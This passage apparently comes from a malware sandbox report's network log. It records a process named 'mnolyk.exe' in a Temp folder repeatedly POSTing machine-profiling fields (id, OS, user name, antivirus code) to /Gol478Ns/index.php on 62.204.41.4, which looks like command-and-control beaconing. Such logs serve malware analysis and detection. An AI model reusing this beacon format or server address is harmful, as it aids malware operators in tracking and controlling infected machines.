Feb 8, 2023 21:31:46.106372118 CET	308	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:46.171797991 CET	308	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.3	49810	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:46.341948986 CET	309	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:46.407923937 CET	309	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.3	49811	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:46.576529026 CET	310	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:46.639722109 CET	310	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49712	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:12.121654034 CET	211	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:12.188114882 CET	212	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.3	49812	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:46.808504105 CET	311	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:46.870836020 CET	311	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.3	49813	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:47.049280882 CET	312	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:47.115288973 CET	312	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.3	49814	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:47.295499086 CET	313	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:47.357366085 CET	313	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.3	49815	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:47.530708075 CET	314	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:47.595089912 CET	314	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.3	49816	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:47.785160065 CET	315	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:47.847796917 CET	315	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.3	49817	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:48.055582047 CET	316	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:48.123281002 CET	316	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.3	49818	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:48.341113091 CET	317	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:48.404982090 CET	317	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.3	49819	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:48.579157114 CET	318	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:48.643449068 CET	318	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.3	49820	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:48.811904907 CET	319	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:48.877062082 CET	319	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.3	49821	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:49.045770884 CET	320	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:49.112457037 CET	320	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	49713	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:12.783643007 CET	212	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:12.846388102 CET	213	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.3	49822	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:49.295197010 CET	321	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:49.359004021 CET	321	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.3	49823	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:49.543781996 CET	322	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:49.606847048 CET	322	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.3	49824	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:49.780553102 CET	323	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:49.842638969 CET	323	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.2.3	49825	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:50.017874002 CET	324	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:50.084322929 CET	324	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.3	49826	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:50.292454958 CET	325	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:50.359834909 CET	325	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.2.3	49827	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:50.529166937 CET	326	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:50.592324972 CET	326	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.3	49828	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:50.782978058 CET	327	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:50.848160982 CET	327	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	192.168.2.3	49829	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
